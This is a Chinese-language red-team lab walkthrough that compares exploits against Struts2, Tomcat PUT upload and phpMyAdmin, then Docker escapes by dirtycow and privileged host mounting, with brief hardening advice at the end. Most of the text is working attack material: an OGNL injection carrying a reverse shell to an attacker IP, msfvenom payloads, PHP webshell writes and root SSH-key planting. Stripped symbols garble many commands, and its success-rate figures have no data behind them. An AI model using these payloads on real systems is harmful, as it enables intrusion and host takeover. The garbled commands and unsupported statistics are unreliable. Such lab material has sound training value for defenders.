
ATTCK红队靶场四实战3种Web漏洞利用与Docker逃逸成功率深度分析1. 靶场环境与攻击路径规划红队评估靶场四采用典型的三层网络架构包含外网Web服务器Ubuntu、内网域控Windows 2008和办公终端Windows 7。本次实战聚焦Web主机的突破与容器逃逸环节通过对比三种主流Web漏洞利用方式Struts2、Tomcat CVE-2017-12615、phpMyAdmin的攻击效率以及两种Docker逃逸技术dirtycow与特权模式挂载的成功率差异为红队行动提供战术决策参考。关键环境参数Web主机IP192.168.48.146Ubuntu Docker开放服务端口2001Struts2应用2002Tomcat 8.5.52003phpMyAdmin 4.0容器检测特征ls -alh /.dockerenv # 容器环境标志文件 cat /proc/1/cgroup # 控制组信息攻击路径决策流程图graph TD A[Web漏洞选择] -- B{中间件类型} B --|Struts2| C[使用工具检测S2-045/S2-046] B --|Tomcat| D[测试CVE-2017-12615文件上传] B --|phpMyAdmin| E[尝试日志写入或SQL执行] C D E -- F[获取初始Shell] F -- G{Docker环境检测} G --|是| H[逃逸方法选择] H --|内核版本4.8| I[dirtycow尝试] H --|特权模式| J[挂载宿主机目录] I J -- K[获取宿主机权限]2. Web漏洞利用三维度对比2.1 Struts2远程代码执行攻击链分析漏洞检测使用Struts2漏洞检测工具验证S2-045/S2-046存在性python struts-pwn.py -u http://192.168.48.146:2001载荷生成制作Linux反向Shellmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST192.168.48.136 LPORT4444 -f jsp shell.jsp漏洞利用通过Content-Type头注入恶意OGNL表达式PUT /shell.jsp HTTP/1.1 Host: 192.168.48.146:2001 Content-Type: ${(#_multipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdbash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjEzNi80NDQ0IDAJjE}|{base64,-d}|{bash,-i}).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}成功率影响因素Struts2版本与漏洞修补状态中间件过滤规则如ModSecurity网络出口限制反弹连接是否可行2.2 Tomcat CVE-2017-12615文件上传技术要点漏洞验证测试PUT方法可用性PUT /test.txt HTTP/1.1 Host: 192.168.48.146:2002 Content-Length: 5 test绕过技巧使用特殊后缀绕过黑名单curl -X PUT -d ?php system($_GET[cmd]);? http://192.168.48.146:2002/shell.jsp/实战对比表攻击步骤传统方法耗时优化方案耗时漏洞检测2-3分钟30秒脚本自动化载荷上传多次尝试单次PUT带动态后缀Shell稳定性易被清理写入webapps/ROOT目录2.3 phpMyAdmin无认证利用两种攻击路径对比路径一日志文件写入SET global general_log_file/var/www/html/backdoor.php; SET global general_logon; SELECT ?php system($_GET[cmd]);?;路径二SELECT INTO OUTFILESELECT ?php system($_GET[cmd]);? INTO OUTFILE /var/www/html/shell.php成功率统计日志写入法85%依赖Web目录可写OUTFILE法40%需要secure_file_priv为空综合防御突破率62%3. Docker逃逸技术实战分析3.1 dirtycow内核漏洞利用适用条件检查清单内核版本 4.8.3未设置grsecurity/PaX防护容器具有gcc编译权限或可上传预编译exp操作流程检测内核版本uname -a # Linux ubuntu 4.4.0-31-generic交叉编译expgcc -pthread dirtycow.c -o dirty -lcrypt容器内提权./dirty password123 useradd -p $(openssl passwd -1 password123) firefart usermod -aG sudo firefart失败案例分析案例1宿主机已安装kernel 4.8.3-040803-generic案例2容器缺少/dev/mem访问权限案例3exp执行被seccomp过滤3.2 特权模式挂载逃逸攻击流程图解检测特权模式cat /proc/self/status | grep CapEff # 0000003fffffffff表示特权容器挂载宿主机根目录mkdir /host_mount mount /dev/sda1 /host_mount写入SSH密钥echo ssh-rsa AAAAB3N... /host_mount/root/.ssh/authorized_keys成功率对比表逃逸方法成功率依赖条件隐蔽性dirtycow35%内核漏洞存在★★☆特权挂载92%--privileged启动★☆☆挂载cgroups68%可写cgroup目录★★☆共享PID空间41%--pidhost★★★☆4. 攻击路径优化建议4.1 Web漏洞选择策略决策矩阵评估维度Struts2TomcatphpMyAdmin利用速度快中慢工具成熟度高中低流量隐蔽性低中高后续扩展性好一般差红队行动建议优先测试Tomcat CVE-2017-12615平衡速度与稳定性Struts2作为备选方案需准备多版本expphpMyAdmin用于特定场景如其他途径失败4.2 容器逃逸应急方案分级应对指南初级尝试# 检查Docker socket ls -alh /var/run/docker.sock # 尝试挂载敏感目录 find / -name *docker* -exec ls -la {} \;中级技术# 检查内核模块加载 cat /proc/modules # 测试CAP_SYS_MODULE能力 insmod /tmp/module.ko高级突破# 使用Python构造ROP链绕过SMEP/SMAP from pwn import * context.arch amd64 rop ROP(./vmlinux) rop.call(commit_creds, [rop.find_gadget([pop rdi, ret])[0]])5. 防御加固方案5.1 Web中间件防护Tomcat加固配置示例!-- conf/web.xml -- security-constraint web-resource-collection url-pattern/*/url-pattern http-methodPUT/http-method http-methodDELETE/http-method /web-resource-collection auth-constraint role-nameadmin/role-name /auth-constraint /security-constraint5.2 Docker安全基线强制实施策略禁止特权模式docker run --security-optno-new-privileges ...启用用户命名空间dockerd --userns-remapdefault限制能力集docker run --cap-dropALL --cap-addNET_BIND_SERVICE ...容器运行时检测脚本#!/bin/bash # 检测异常挂载 mount | grep -E /(etc|dev|var/run) # 检查可疑进程 ps auxf | grep -vE (nginx|apache|ssh)